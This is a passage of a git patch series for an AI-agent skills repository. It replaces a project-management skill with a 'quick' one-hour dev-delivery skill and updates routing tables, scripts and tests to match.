From beee9e3e683b44d65c69e384cdf46b9cd5eef72d Mon Sep 17 00:00:00 2001 From: Felipe Rosa Date: Sat, 29 Aug 2026 01:53:16 +0000 Subject: [PATCH 01/45] feat(skills): add quick delivery path (#2805) Co-authored-by: Sofia --- plugins/genie/skills/README.md | 4 +- plugins/genie/skills/genie/SKILL.md | 2 +- .../genie/skills/genie/reference/lifecycle.md | 2 +- plugins/genie/skills/pm/SKILL.md | 120 ---------------- plugins/genie/skills/pm/agents/openai.yaml | 4 - plugins/genie/skills/pm/references/modes.md | 65 --------- plugins/genie/skills/quick/SKILL.md | 135 ++++++++++++++++++ plugins/genie/skills/quick/agents/openai.yaml | 4 + scripts/codex-plugin-only-smoke.ts | 6 +- scripts/release-docs.test.ts | 26 +++- scripts/sync-plugin-skills.ts | 2 +- skills/README.md | 4 +- skills/genie/SKILL.md | 2 +- skills/genie/reference/lifecycle.md | 2 +- skills/pm/SKILL.md | 120 ---------------- skills/pm/agents/openai.yaml | 4 - skills/pm/references/modes.md | 65 --------- skills/quick/SKILL.md | 135 ++++++++++++++++++ skills/quick/agents/openai.yaml | 4 + src/lib/runtime-integrations.ts | 2 +- 20 files changed, 316 insertions(+), 392 deletions(-) delete mode 100644 plugins/genie/skills/pm/SKILL.md delete mode 100644 plugins/genie/skills/pm/agents/openai.yaml delete mode 100644 plugins/genie/skills/pm/references/modes.md create mode 100644 plugins/genie/skills/quick/SKILL.md create mode 100644 plugins/genie/skills/quick/agents/openai.yaml delete mode 100644 skills/pm/SKILL.md delete mode 100644 skills/pm/agents/openai.yaml delete mode 100644 skills/pm/references/modes.md create mode 100644 skills/quick/SKILL.md create mode 100644 skills/quick/agents/openai.yaml diff --git a/plugins/genie/skills/README.md b/plugins/genie/skills/README.md index c1064de8b..54278639d 100644 --- a/plugins/genie/skills/README.md +++ b/plugins/genie/skills/README.md @@ -57,8 +57,8 @@ separately installed personal skills remain user-owned and are never adopted by | Area | Skills | |------|--------| -| Lifecycle | `brainstorm`, `wish`, `review`, `work`, `fix`, `trace` | -| Orchestration | `genie`, `pm`, `dream`, `council`, `omni` | +| Lifecycle | `brainstorm`, `quick`, `wish`, `review`, `work`, `fix`, `trace` | +| Orchestration | `genie`, `dream`, `council`, `omni` | | Quality lanes | `architecture`, `code-quality`, `dx-docs`, `perf`, `qa`, `repo-hygiene`, `supply-chain` | | Supporting workflows | `docs`, `refine`, `report`, `genie-hacks` | diff --git a/plugins/genie/skills/genie/SKILL.md b/plugins/genie/skills/genie/SKILL.md index 0f5b68861..2f998ca1c 100644 --- a/plugins/genie/skills/genie/SKILL.md +++ b/plugins/genie/skills/genie/SKILL.md @@ -39,7 +39,7 @@ For requests that did not bypass, classify the user's request into exactly one c | Category | Signal | Route | |----------|--------|-------| -| **explicit** | Names a skill: "brainstorm X", "wish X", "review X", "work X", "council X", "refine X", "fix X", "trace X", "docs X", "report X", "dream", "pm", "wire omni", "hacks" | Invoke the named skill through the active runtime's skill surface and pass through the remaining request. | +| **explicit** | Names a skill: "brainstorm X", "wish X", "review X", "work X", "council X", "refine X", "fix X", "trace X", "docs X", "report X", "dream", "quick", "wire omni", "hacks" | Invoke the named skill through the active runtime's skill surface and pass through the remaining request. | | **concrete** | Clear feature/change: "add X", "implement Y", "build a..." | `wish` | | **fuzzy** | Exploratory: "I'm not sure how to...", "what if we...", "how should I handle..." | `brainstorm` | | **bug** | "X is broken", "error when...", "something's wrong with..." | `report` | diff --git a/plugins/genie/skills/genie/reference/lifecycle.md b/plugins/genie/skills/genie/reference/lifecycle.md index faf82293b..5a5e4160b 100644 --- a/plugins/genie/skills/genie/reference/lifecycle.md +++ b/plugins/genie/skills/genie/reference/lifecycle.md @@ -61,7 +61,7 @@ verdict that was not persisted does not advance the lifecycle. | `trace` | Reproduce and isolate root cause without patching | Unknown issues needing investigation | | `docs` | Audit, generate, and validate documentation against code | Docs stale or missing | | `dream` | Batch-execute SHIP-ready wishes overnight | Multiple wishes ready | -| `pm` | Backlog triage, prioritization, tracking, reporting | Managing a stream of work | +| `quick` | Ship one tiny low-risk change through verified dev read-back within 60 minutes | A fully decided change fits the hard one-hour contract | | `omni` | Wire a Genie agent to an Omni channel | Channel wiring | | `genie-hacks` | Browse community patterns and hacks | Looking for prior art | diff --git a/plugins/genie/skills/pm/SKILL.md b/plugins/genie/skills/pm/SKILL.md deleted file mode 100644 index f177b5950..000000000 --- a/plugins/genie/skills/pm/SKILL.md +++ /dev/null @@ -1,120 +0,0 @@ ---- -name: pm -description: "Full PM playbook — triage backlog, prioritize, assign, track, report, escalate. Copilot, autopilot, or pair modes." ---- - -# pm — Project Management Playbook - -**Runtime syntax:** invoke the plugin copy through the active runtime's owner-qualified skill selector; use a bare selector only when intentionally selecting a user-tier copy (a separately installed personal copy; Genie no longer seeds this tier). Cross-skill prose below uses bare names as portable semantic routes; the orchestrator resolves the selector for the active runtime. - -Manage the delivery lifecycle: triage, prioritize, dispatch, track, report, escalate. The PM orchestrates — it never writes code. When one path clearly follows from the request, recommend it and proceed; do not re-litigate decisions the user already made. - -## When to Use -- A backlog needs triage, prioritization, or tracking -- Work must be coordinated across multiple subagents -- User asks about task status, project health, or next actions - -## Modes - -Pick the mode from who makes decisions; switch when that changes. - -| Mode | Decisions | Use when | Exit | -|------|-----------|----------|------| -| **Copilot** | Human approves priorities, scope, escalations; PM proposes and executes | A human is actively participating | Human takes over, or all work shipped | -| **Autopilot** | PM decides within Authority Boundaries; a decision-maker persona subagent arbitrates ship/no-ship calls | "Run autonomously" / overnight | All shipped, or a decision exceeds authority — escalate to human | -| **Pair** | Shared with one specialist (brainstormer, council, reviewer, qa) for a focused phase | A phase needs domain judgment | Specialist delivers, PM resumes | - -Mode contracts and the decision-maker persona prompt: `references/modes.md`. - -## Lifecycle Routing - -The lifecycle is owned by its skills — route to them, never restate them here: - -| Phase | Skill | PM's job | -|-------|-------|----------| -| Triage | — | Prioritize; decide what enters the pipeline | -| Explore | `brainstorm` | Dispatch when scope is fuzzy | -| Plan | `wish` | Dispatch when scope is clear; the wish creates per-group tasks | -| Execute | `work` | Dispatch orchestration; waves come from WISH.md | -| Validate | `review` | Gate every group; FIX-FIRST → `fix` (max 2 loops) | -| Investigate | `trace`, `report` | Unknown failure: diagnose before fixing | -| Ship | PR to `dev` | Request or consume task-scoped PR/merge authority; merge only when CI green + review SHIP | - -Document status (`DRAFT` / `FIX-FIRST` / `APPROVED` / `IN_PROGRESS` / `BLOCKED` / `SHIPPED`) tracks lifecycle phase; SHIP/FIX-FIRST/BLOCKED are reviewer verdicts, and the invoking orchestrator persists the corresponding transition. The task DB tracks per-group execution state. - -## Specialist Routing - -Default chain: engineer → reviewer → qa → fix. Augment when the work calls for it: - -| Condition | Dispatch | -|-----------|----------| -| Docs deliverables in scope | docs subagent, parallel with engineer | -| Architecture restructuring | refactor-briefed engineer for that group | -| Failure with unknown root cause | `trace` before `fix` | -| Review returns FIX-FIRST | Diagnose first; simplify an overdesigned plan, otherwise `fix` (max 2 loops, then escalate) | -| High-stakes decision with tradeoffs | `council` (advisory) | - -## Dispatch - -All implementation goes to subagents via the **native delegation surface** (native runtime). Dispatch independent work in one message so it runs in parallel; every brief carries curated context, the evidence expected back, and stop conditions (`work` § Context Curation is the contract). Background subagents notify you on completion — never sleep-poll. Follow-ups to a running subagent go through **native follow-up messaging** (multi-session dispatch is retired; native delegation is the only dispatch mode — see `work` § Dispatch). - -## Board Operations - -```bash -genie task create --title "" [--wish <slug> --group <name>] # add work -genie task list [--status blocked|ready|in_progress|done] [--wish <slug>] [--json] -genie board [--wish <slug>] [--json] # kanban snapshot -genie task status <id> # detail, dependencies, stage log -genie task checkout <id> --worker <name> # atomic claim — workers run this -genie task done <id> # complete after review + validation -genie task export # full DB state as JSON (reporting) -``` - -The dependency DAG lives in WISH.md, not task rows — sequence waves from the document, never from `ready` status alone (see `work` § State Management). - -## Status Reporting (grounded) - -Every claim in a status report must trace to tool output from this session — `genie board --json`, `genie task export`, `git log`, `gh pr list`, subagent final messages. State explicitly what is verified, what failed, and what was skipped. Dispatched is not done: never present in-flight or intended work as completed until its evidence is in hand. - -``` -## Status — <date> -Shipped: <what, with PR links> -In progress: <task ids, owners> -Blocked: <reason, owner, next unblocking action> -Next: <planned actions> -``` - -## Authority Boundaries - -Apply in every mode; exceeding one escalates to the human. Selecting Autopilot -does not itself authorize external repository writes. The operator may grant a -bounded Autopilot scope that names the repository, target branch, wishes/PRs, -and whether merged-branch cleanup is allowed; only actions inside that recorded -scope may proceed without another checkpoint. - -| Action | Authority | -|--------|-----------| -| Create/claim/complete tasks | Autonomous | -| Dispatch subagents (engineer, reviewer, qa, fix, docs, trace) | Autonomous | -| Prepare commits and a proposed PR targeting `dev` | Autonomous inside the assigned repository/worktree | -| Create or publish a PR | Explicit task-scoped grant, or a bounded Autopilot grant that names the repository and target branch | -| Merge to `dev` | Separate explicit task-scoped merge grant, or a bounded Autopilot grant that names the eligible wishes/PRs | -| Delete feature branches | Explicit cleanup grant; only after the associated merge is verified | -| Merge to `main`/`master` | **Human only** | -| Client communication; budget/spending | **Human only** | -| Scope changes (add/remove features) | Human approval required | - -## Checkpoints - -Pause for a human decision when an external write lacks the task-scoped grant -above, an action is destructive or irreversible, scope genuinely changes, -credentials are involved, or an ambiguity changes what is safe to do. -Read-only triage, planning, local validation, and reversible worktree changes -remain autonomous inside the assigned scope. - -## Rules -- Never write code — dispatch engineers. -- Never skip the review gate; never ship CRITICAL/HIGH gaps. -- Surface blockers immediately, each with a proposed unblocking action. -- Track only real, concrete work — no speculative tasks. -- Final messages lead with outcome, then evidence, then next action. diff --git a/plugins/genie/skills/pm/agents/openai.yaml b/plugins/genie/skills/pm/agents/openai.yaml deleted file mode 100644 index 02115731d..000000000 --- a/plugins/genie/skills/pm/agents/openai.yaml +++ /dev/null @@ -1,4 +0,0 @@ -interface: - display_name: "Project Management" - short_description: "Coordinate backlog, delivery gates, and escalation" - default_prompt: "Coordinate this work through the appropriate delivery and release gates." diff --git a/plugins/genie/skills/pm/references/modes.md b/plugins/genie/skills/pm/references/modes.md deleted file mode 100644 index e13805c90..000000000 --- a/plugins/genie/skills/pm/references/modes.md +++ /dev/null @@ -1,65 +0,0 @@ -# PM Modes — Detail - -Decision rules live in `../SKILL.md` § Modes. This file carries the per-mode contracts and the autopilot decision-maker persona. - -## Copilot (PM + human) - -| PM does | Human does | -|---------|------------| -| Triage and prioritize backlog | Approve priorities | -| Propose assignments and dispatch | Confirm assignments | -| Monitor progress, surface blockers | Make scope decisions | -| Prepare status reports | Review and distribute | -| Recommend escalations | Authorize escalations | - -Entry: human invokes `pm` or asks for help managing work. Exit: human takes over, or all tasks shipped. - -## Autopilot (PM + decision-maker persona) - -Spawn one fresh-context decision-maker subagent at run start. Route ship/no-ship and prioritization judgment calls back to that same thread with native follow-up messaging; it emulates the human only within the documented Authority Boundaries. Anything past a boundary still goes to the real human. - -Entry: human says "run autonomously" / "autopilot". That phrase grants decision -autonomy only; external repository writes still require the bounded scope from -`../SKILL.md` (repository, target branch, eligible wishes/PRs, and cleanup -policy). Exit: all authorized tasks shipped, or a decision/action exceeds that -scope. - -### Default persona: pragmatic engineering manager - -``` -You are a pragmatic engineering manager making ship/no-ship decisions. - -Decision style: -- Approve when acceptance criteria are met — don't block for style preferences -- Push back on scope creep — if it's not in the wish, it waits -- Prioritize shipping over perfection — good enough today beats perfect next week -- Escalate security and data-integrity issues immediately — never approve shortcuts here -- Trust the evidence behind the verdict — if `review` says SHIP, approve unless you see something it missed - -When deciding: -1. Read the wish acceptance criteria -2. Check that each criterion has evidence of completion -3. Yes, and no CRITICAL/HIGH gaps → approve -4. Gaps exist → request specific fixes, not vague improvements -5. Scope creep detected → reject additions, keep the wish focused - -You represent the human. The PM asks, you decide. Be decisive — slow decisions block teams. -``` - -### Customizing - -Provide your own persona prompt in the subagent brief instead. A persona defines: -- **Decision style** — what to approve, what to reject -- **Priority framework** — how to weigh competing concerns -- **Escalation triggers** — when to defer to a human instead of deciding - -## Pair (PM + specialist) - -| Pair with | When | -|-----------|------| -| Brainstormer | Ideas need exploring before scoping | -| Council | Major design decisions need multi-perspective input | -| Reviewer | A quality gate needs PM context | -| QA | Test strategy needs PM input | - -Entry: PM detects a phase that benefits from specialist judgment. Exit: specialist delivers, PM resumes the normal flow. diff --git a/plugins/genie/skills/quick/SKILL.md b/plugins/genie/skills/quick/SKILL.md new file mode 100644 index 000000000..59363723a --- /dev/null +++ b/plugins/genie/skills/quick/SKILL.md @@ -0,0 +1,135 @@ +--- +name: quick +description: "Ship tiny low-risk changes to dev within one hour." +--- + +# quick — One-hour delivery + +**Runtime syntax:** invoke the plugin copy through the active runtime's owner-qualified skill selector; use a bare selector only when intentionally selecting a user-tier copy (a separately installed personal copy; Genie no longer seeds this tier). Cross-skill prose below uses bare names as portable semantic routes; the orchestrator resolves the selector for the active runtime. + +Deliver one tiny, already-decided change through implementation, CI, merge, deployment and read-back in `dev`. The contract is **request → deployed-dev read-back within 60 minutes**; code or a PR without live read-back is not success. + +## When to Use + +Use only when all are true: + +- one existing behavior, repository, card and payout; +- low-impact, reversible change with an objective focused check; +- target is `dev`, never homolog or production; +- CI, deployment and read-back conservatively fit inside 60 minutes; +- existing merge authority already covers the repository and eligible `dev` merge; +- no unresolved product or architecture decision. + +Do not use for migrations; auth, permissions, secrets or tenant boundaries; billing or money; destructive/data-loss behavior; public API/protocol compatibility; irreversible/shared infrastructure; production mutation; multiple repos or independent payouts; or incidents with an unknown cause. + +## Admission — minute 0–5 + +1. Record the start and hard deadline with `terminal`; the deadline never moves. +2. Inspect the live card, repository, branch, CI, dev target and deployment path. +3. Verify an existing task-scoped merge grant or bounded Autopilot grant authorizes this repository and eligible `dev` merge. Do not request or manufacture authority inside Quick. +4. Write a one-screen execution contract in the response or worker brief: + - **core:** independently satisfies the request; + - **flex:** explicitly cuttable; + - **oracle:** focused check and visible dev read-back; + - **target:** exact repository, base branch and dev environment; + - **stop triggers:** any condition that rejects or ends Quick. +5. Refuse before implementation if any eligibility fact is missing. Return the inspected evidence and route the demand to the normal lifecycle; do not start that lifecycle silently. + +Admission is complete only when every eligibility fact and the existing merge authority are proven. + +## Execute — minute 5–35 + +1. Start exactly one executor through the active runtime's native delegation surface, inheriting the active runtime model and configuration. +2. Use one isolated worktree from the current target base. No fan-out, board/group ceremony, independent reviewer or model-selection machinery. +3. Implement only the core and a focused regression test where practical. Follow repository-local TDD and validation rules. +4. Cut flex immediately when evidence threatens the deadline. + +**No new surface enters after minute 35.** At minute 35 the branch must contain a complete candidate core or Quick stops as `quick-missed`. + +## Integrate — minute 35–50 + +1. Run the focused test and every affected repository check. +2. Perform one self-review of the exact diff for correctness, scope, secrets and target identity. +3. Apply at most one bounded correction while time remains. +4. Open the PR to `dev` and wait for every required CI check. Never bypass or weaken checks. + +**No new code change starts after minute 50.** If required CI is not green or the candidate is not merge-ready, stop as `quick-missed`. + +## Deliver — minute 50–60 + +1. Re-read the exact PR head, required CI and existing merge authority. +2. Merge to `dev` only inside that authority. +3. Verify the designated dev deployment serves the expected revision. +4. Exercise the changed behavior in dev and read back its observable result. +5. Report success only when deployment and behavior read-back both pass before the deadline. + +Quick never merges to homolog or production. A separate human-controlled promotion may consume the already-proven dev result later. + +## Timeout and Failure + +At or before minute 60, when any success condition is absent: + +- stop automatically; +- preserve the branch, commits, PR and evidence; +- emit `quick-missed` with elapsed time, exact completed state and blocker; +- return the demand to normal sizing/workflow; +- do not continue, retry, discard work or claim partial delivery. + +A failed focused check, failed CI, wrong target, missing authority, deployment mismatch or failed read-back is a miss—not permission to lower the gate. + +## Output + +### Success + +```text +quick-shipped +Core: <observable behavior> +PR: <url and exact head> +CI: <required checks> +Dev: <target revision and read-back> +Elapsed: <request to verified dev> +Flex cut: <items or none> +``` + +### Refusal + +```text +quick-refused +Reason: <eligibility or authority failure> +Evidence: <live fact> +Route: <normal lifecycle entry point> +Effects: none +``` + +### Miss + +```text +quick-missed +Elapsed: <time> +Preserved: <branch/PR/commit> +Completed: <verified state> +Blocker: <exact unmet gate> +Next route: normal sizing/workflow +``` + +## Pitfalls + +- Counting PR creation or merge as delivery without dev deployment/read-back. +- Starting while CI or deployment is already too slow to fit the remaining hour. +- Treating file count as eligibility; consequence, reversibility and oracle quality decide. +- Asking for merge permission after implementation; missing authority is an admission refusal. +- Continuing after 60 minutes because the task feels almost complete. +- Opening parallel workers to recover time; concurrency changes the risk class and exits Quick. + +## Verification + +Before `quick-shipped`, verify all of the following: + +- one executor and one repository/worktree; +- focused tests and affected checks passed; +- required PR CI passed on the exact merged head; +- existing merge authority covered the exact merge; +- dev serves the intended revision; +- changed behavior was exercised and read back; +- total elapsed time is at most 60 minutes; +- no homolog or production mutation occurred. diff --git a/plugins/genie/skills/quick/agents/openai.yaml b/plugins/genie/skills/quick/agents/openai.yaml new file mode 100644 index 000000000..dad461ba1 --- /dev/null +++ b/plugins/genie/skills/quick/agents/openai.yaml @@ -0,0 +1,4 @@ +interface: + display_name: "Quick Delivery" + short_description: "Ship a tiny low-risk dev change within one hour" + default_prompt: "Deliver this eligible tiny change through verified dev read-back within one hour." diff --git a/scripts/codex-plugin-only-smoke.ts b/scripts/codex-plugin-only-smoke.ts index 6e95e7635..ec29f817a 100644 --- a/scripts/codex-plugin-only-smoke.ts +++ b/scripts/codex-plugin-only-smoke.ts @@ -125,7 +125,11 @@ function assertFallbacksRetired(iso: IsolatedHome, seeded: readonly string[]): v function payloadShippedSkills(iso: IsolatedHome): Set<string> { const skillsRoot = join(activePluginRoot(iso, TARGET_VERSION), 'skills'); if (!existsSync(skillsRoot)) fail(`payload skills root absent: ${skillsRoot}`); - return new Set(readdirSync(skillsRoot)); + return new Set( + readdirSync(skillsRoot, { withFileTypes: true }) + .filter((entry) => entry.isDirectory() && existsSync(join(skillsRoot, entry.name, 'SKILL.md'))) + .map((entry) => entry.name), + ); } /** Split seeded fallbacks into retirable (payload ships the skill) vs preserved (skill dropped). */ diff --git a/scripts/release-docs.test.ts b/scripts/release-docs.test.ts index 770e086f1..7d9e1356c 100644 --- a/scripts/release-docs.test.ts +++ b/scripts/release-docs.test.ts @@ -943,6 +943,28 @@ describe('Group E release and documentation contracts', () => { expect(root).not.toContain('digest-managed product-skill fallbacks'); }); + test('ships quick as the bounded fast path and no longer distributes pm', () => { + const quick = read('skills/quick/SKILL.md'); + const router = read('skills/genie/SKILL.md'); + const lifecycle = read('skills/genie/reference/lifecycle.md'); + const overview = read('skills/README.md'); + const skillNames = readdirSync(join(ROOT, 'skills'), { withFileTypes: true }) + .filter((entry) => entry.isDirectory() && existsSync(join(ROOT, 'skills', entry.name, 'SKILL.md'))) + .map((entry) => entry.name); + + expect(quick).toContain('request → deployed-dev read-back within 60 minutes'); + expect(quick).toContain('existing merge authority'); + expect(quick).toContain('quick-missed'); + expect(skillNames).toContain('quick'); + expect(skillNames).not.toContain('pm'); + expect(router).toContain('"quick"'); + expect(router).not.toContain('"pm"'); + expect(lifecycle).toContain('| `quick` |'); + expect(lifecycle).not.toContain('| `pm` |'); + expect(overview).toContain('`quick`'); + expect(overview).not.toContain('`pm`'); + }); + test('lifecycle skills share persisted WISH state and keep reviewers read-only', () => { const lifecycle = read('skills/genie/reference/lifecycle.md'); for (const status of ['`DRAFT`', '`FIX-FIRST`', '`APPROVED`', '`IN_PROGRESS`', '`BLOCKED`', '`SHIPPED`']) { @@ -952,7 +974,7 @@ describe('Group E release and documentation contracts', () => { const review = read('skills/review/SKILL.md'); const dream = read('skills/dream/SKILL.md'); const wish = read('skills/wish/templates/wish-template.md'); - const pm = read('skills/pm/SKILL.md'); + expect(dream).toContain('Status field is exactly `APPROVED`'); expect(brainstorm).toContain('Do not move it to Poured before a WISH.md exists'); expect(brainstorm).toContain('single brainstorm/planning index is `.genie/INDEX.md`'); @@ -963,8 +985,6 @@ describe('Group E release and documentation contracts', () => { expect(wish).toContain('**depends-on:** none'); expect(dream).toContain('wish-level `**depends-on:**`'); expect(dream).not.toContain('depends_on'); - expect(pm).toContain('Explicit task-scoped grant'); - expect(pm).toMatch(/Selecting Autopilot\s+does not itself authorize external repository writes/); }); test('lifecycle treats simplicity as a hard gate and replans overdesigned work', () => { diff --git a/scripts/sync-plugin-skills.ts b/scripts/sync-plugin-skills.ts index 8dd876270..d6fe6297c 100644 --- a/scripts/sync-plugin-skills.ts +++ b/scripts/sync-plugin-skills.ts @@ -46,8 +46,8 @@ export const SHIPPED_SKILL_NAMES = [ 'genie-hacks', 'omni', 'perf', - 'pm', 'qa', + 'quick', 'refine', 'repo-hygiene', 'report', diff --git a/skills/README.md b/skills/README.md index c1064de8b..54278639d 100644 --- a/skills/README.md +++ b/skills/README.md @@ -57,8 +57,8 @@ separately installed personal skills remain user-owned and are never adopted by | Area | Skills | |------|--------| -| Lifecycle | `brainstorm`, `wish`, `review`, `work`, `fix`, `trace` | -| Orchestration | `genie`, `pm`, `dream`, `council`, `omni` | +| Lifecycle | `brainstorm`, `quick`, `wish`, `review`, `work`, `fix`, `trace` | +| Orchestration | `genie`, `dream`, `council`, `omni` | | Quality lanes | `architecture`, `code-quality`, `dx-docs`, `perf`, `qa`, `repo-hygiene`, `supply-chain` | | Supporting workflows | `docs`, `refine`, `report`, `genie-hacks` | diff --git a/skills/genie/SKILL.md b/skills/genie/SKILL.md index 0f5b68861..2f998ca1c 100644 --- a/skills/genie/SKILL.md +++ b/skills/genie/SKILL.md @@ -39,7 +39,7 @@ For requests that did not bypass, classify the user's request into exactly one c | Category | Signal | Route | |----------|--------|-------| -| **explicit** | Names a skill: "brainstorm X", "wish X", "review X", "work X", "council X", "refine X", "fix X", "trace X", "docs X", "report X", "dream", "pm", "wire omni", "hacks" | Invoke the named skill through the active runtime's skill surface and pass through the remaining request. | +| **explicit** | Names a skill: "brainstorm X", "wish X", "review X", "work X", "council X", "refine X", "fix X", "trace X", "docs X", "report X", "dream", "quick", "wire omni", "hacks" | Invoke the named skill through the active runtime's skill surface and pass through the remaining request. | | **concrete** | Clear feature/change: "add X", "implement Y", "build a..." | `wish` | | **fuzzy** | Exploratory: "I'm not sure how to...", "what if we...", "how should I handle..." | `brainstorm` | | **bug** | "X is broken", "error when...", "something's wrong with..." | `report` | diff --git a/skills/genie/reference/lifecycle.md b/skills/genie/reference/lifecycle.md index faf82293b..5a5e4160b 100644 --- a/skills/genie/reference/lifecycle.md +++ b/skills/genie/reference/lifecycle.md @@ -61,7 +61,7 @@ verdict that was not persisted does not advance the lifecycle. | `trace` | Reproduce and isolate root cause without patching | Unknown issues needing investigation | | `docs` | Audit, generate, and validate documentation against code | Docs stale or missing | | `dream` | Batch-execute SHIP-ready wishes overnight | Multiple wishes ready | -| `pm` | Backlog triage, prioritization, tracking, reporting | Managing a stream of work | +| `quick` | Ship one tiny low-risk change through verified dev read-back within 60 minutes | A fully decided change fits the hard one-hour contract | | `omni` | Wire a Genie agent to an Omni channel | Channel wiring | | `genie-hacks` | Browse community patterns and hacks | Looking for prior art | diff --git a/skills/pm/SKILL.md b/skills/pm/SKILL.md deleted file mode 100644 index f177b5950..000000000 --- a/skills/pm/SKILL.md +++ /dev/null @@ -1,120 +0,0 @@ ---- -name: pm -description: "Full PM playbook — triage backlog, prioritize, assign, track, report, escalate. Copilot, autopilot, or pair modes." ---- - -# pm — Project Management Playbook - -**Runtime syntax:** invoke the plugin copy through the active runtime's owner-qualified skill selector; use a bare selector only when intentionally selecting a user-tier copy (a separately installed personal copy; Genie no longer seeds this tier). Cross-skill prose below uses bare names as portable semantic routes; the orchestrator resolves the selector for the active runtime. - -Manage the delivery lifecycle: triage, prioritize, dispatch, track, report, escalate. The PM orchestrates — it never writes code. When one path clearly follows from the request, recommend it and proceed; do not re-litigate decisions the user already made. - -## When to Use -- A backlog needs triage, prioritization, or tracking -- Work must be coordinated across multiple subagents -- User asks about task status, project health, or next actions - -## Modes - -Pick the mode from who makes decisions; switch when that changes. - -| Mode | Decisions | Use when | Exit | -|------|-----------|----------|------| -| **Copilot** | Human approves priorities, scope, escalations; PM proposes and executes | A human is actively participating | Human takes over, or all work shipped | -| **Autopilot** | PM decides within Authority Boundaries; a decision-maker persona subagent arbitrates ship/no-ship calls | "Run autonomously" / overnight | All shipped, or a decision exceeds authority — escalate to human | -| **Pair** | Shared with one specialist (brainstormer, council, reviewer, qa) for a focused phase | A phase needs domain judgment | Specialist delivers, PM resumes | - -Mode contracts and the decision-maker persona prompt: `references/modes.md`. - -## Lifecycle Routing - -The lifecycle is owned by its skills — route to them, never restate them here: - -| Phase | Skill | PM's job | -|-------|-------|----------| -| Triage | — | Prioritize; decide what enters the pipeline | -| Explore | `brainstorm` | Dispatch when scope is fuzzy | -| Plan | `wish` | Dispatch when scope is clear; the wish creates per-group tasks | -| Execute | `work` | Dispatch orchestration; waves come from WISH.md | -| Validate | `review` | Gate every group; FIX-FIRST → `fix` (max 2 loops) | -| Investigate | `trace`, `report` | Unknown failure: diagnose before fixing | -| Ship | PR to `dev` | Request or consume task-scoped PR/merge authority; merge only when CI green + review SHIP | - -Document status (`DRAFT` / `FIX-FIRST` / `APPROVED` / `IN_PROGRESS` / `BLOCKED` / `SHIPPED`) tracks lifecycle phase; SHIP/FIX-FIRST/BLOCKED are reviewer verdicts, and the invoking orchestrator persists the corresponding transition. The task DB tracks per-group execution state. - -## Specialist Routing - -Default chain: engineer → reviewer → qa → fix. Augment when the work calls for it: - -| Condition | Dispatch | -|-----------|----------| -| Docs deliverables in scope | docs subagent, parallel with engineer | -| Architecture restructuring | refactor-briefed engineer for that group | -| Failure with unknown root cause | `trace` before `fix` | -| Review returns FIX-FIRST | Diagnose first; simplify an overdesigned plan, otherwise `fix` (max 2 loops, then escalate) | -| High-stakes decision with tradeoffs | `council` (advisory) | - -## Dispatch - -All implementation goes to subagents via the **native delegation surface** (native runtime). Dispatch independent work in one message so it runs in parallel; every brief carries curated context, the evidence expected back, and stop conditions (`work` § Context Curation is the contract). Background subagents notify you on completion — never sleep-poll. Follow-ups to a running subagent go through **native follow-up messaging** (multi-session dispatch is retired; native delegation is the only dispatch mode — see `work` § Dispatch). - -## Board Operations - -```bash -genie task create --title "<title>" [--wish <slug> --group <name>] # add work -genie task list [--status blocked|ready|in_progress|done] [--wish <slug>] [--json] -genie board [--wish <slug>] [--json] # kanban snapshot -genie task status <id> # detail, dependencies, stage log -genie task checkout <id> --worker <name> # atomic claim — workers run this -genie task done <id> # complete after review + validation -genie task export # full DB state as JSON (reporting) -``` - -The dependency DAG lives in WISH.md, not task rows — sequence waves from the document, never from `ready` status alone (see `work` § State Management). - -## Status Reporting (grounded) - -Every claim in a status report must trace to tool output from this session — `genie board --json`, `genie task export`, `git log`, `gh pr list`, subagent final messages. State explicitly what is verified, what failed, and what was skipped. Dispatched is not done: never present in-flight or intended work as completed until its evidence is in hand. - -``` -## Status — <date> -Shipped: <what, with PR links> -In progress: <task ids, owners> -Blocked: <reason, owner, next unblocking action> -Next: <planned actions> -``` - -## Authority Boundaries - -Apply in every mode; exceeding one escalates to the human. Selecting Autopilot -does not itself authorize external repository writes. The operator may grant a -bounded Autopilot scope that names the repository, target branch, wishes/PRs, -and whether merged-branch cleanup is allowed; only actions inside that recorded -scope may proceed without another checkpoint. - -| Action | Authority | -|--------|-----------| -| Create/claim/complete tasks | Autonomous | -| Dispatch subagents (engineer, reviewer, qa, fix, docs, trace) | Autonomous | -| Prepare commits and a proposed PR targeting `dev` | Autonomous inside the assigned repository/worktree | -| Create or publish a PR | Explicit task-scoped grant, or a bounded Autopilot grant that names the repository and target branch | -| Merge to `dev` | Separate explicit task-scoped merge grant, or a bounded Autopilot grant that names the eligible wishes/PRs | -| Delete feature branches | Explicit cleanup grant; only after the associated merge is verified | -| Merge to `main`/`master` | **Human only** | -| Client communication; budget/spending | **Human only** | -| Scope changes (add/remove features) | Human approval required | - -## Checkpoints - -Pause for a human decision when an external write lacks the task-scoped grant -above, an action is destructive or irreversible, scope genuinely changes, -credentials are involved, or an ambiguity changes what is safe to do. -Read-only triage, planning, local validation, and reversible worktree changes -remain autonomous inside the assigned scope. - -## Rules -- Never write code — dispatch engineers. -- Never skip the review gate; never ship CRITICAL/HIGH gaps. -- Surface blockers immediately, each with a proposed unblocking action. -- Track only real, concrete work — no speculative tasks. -- Final messages lead with outcome, then evidence, then next action. diff --git a/skills/pm/agents/openai.yaml b/skills/pm/agents/openai.yaml deleted file mode 100644 index 02115731d..000000000 --- a/skills/pm/agents/openai.yaml +++ /dev/null @@ -1,4 +0,0 @@ -interface: - display_name: "Project Management" - short_description: "Coordinate backlog, delivery gates, and escalation" - default_prompt: "Coordinate this work through the appropriate delivery and release gates." diff --git a/skills/pm/references/modes.md b/skills/pm/references/modes.md deleted file mode 100644 index e13805c90..000000000 --- a/skills/pm/references/modes.md +++ /dev/null @@ -1,65 +0,0 @@ -# PM Modes — Detail - -Decision rules live in `../SKILL.md` § Modes. This file carries the per-mode contracts and the autopilot decision-maker persona. - -## Copilot (PM + human) - -| PM does | Human does | -|---------|------------| -| Triage and prioritize backlog | Approve priorities | -| Propose assignments and dispatch | Confirm assignments | -| Monitor progress, surface blockers | Make scope decisions | -| Prepare status reports | Review and distribute | -| Recommend escalations | Authorize escalations | - -Entry: human invokes `pm` or asks for help managing work. Exit: human takes over, or all tasks shipped. - -## Autopilot (PM + decision-maker persona) - -Spawn one fresh-context decision-maker subagent at run start. Route ship/no-ship and prioritization judgment calls back to that same thread with native follow-up messaging; it emulates the human only within the documented Authority Boundaries. Anything past a boundary still goes to the real human. - -Entry: human says "run autonomously" / "autopilot". That phrase grants decision -autonomy only; external repository writes still require the bounded scope from -`../SKILL.md` (repository, target branch, eligible 